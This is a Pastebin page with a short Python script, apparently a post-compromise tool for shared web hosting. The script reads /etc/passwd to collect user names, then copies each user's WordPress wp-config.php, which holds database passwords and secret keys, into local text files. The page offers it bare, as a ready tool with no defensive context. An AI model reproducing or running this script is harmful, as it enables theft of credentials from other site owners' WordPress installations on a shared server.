Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- # -*- coding: utf-8 -*-
- # ./Xi4u7 - Jancok
- import os
- pas = open("/etc/passwd").read()
- for i in pas.split(":"):
- wp = "/home/"+i+"/public_html/wp-config.php"
- try:
- f = open(wp).read()
- ab = open(i+"-Wordpress.txt", "a")
- ab.write(f)
- ab.close()
- except:
- pass
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement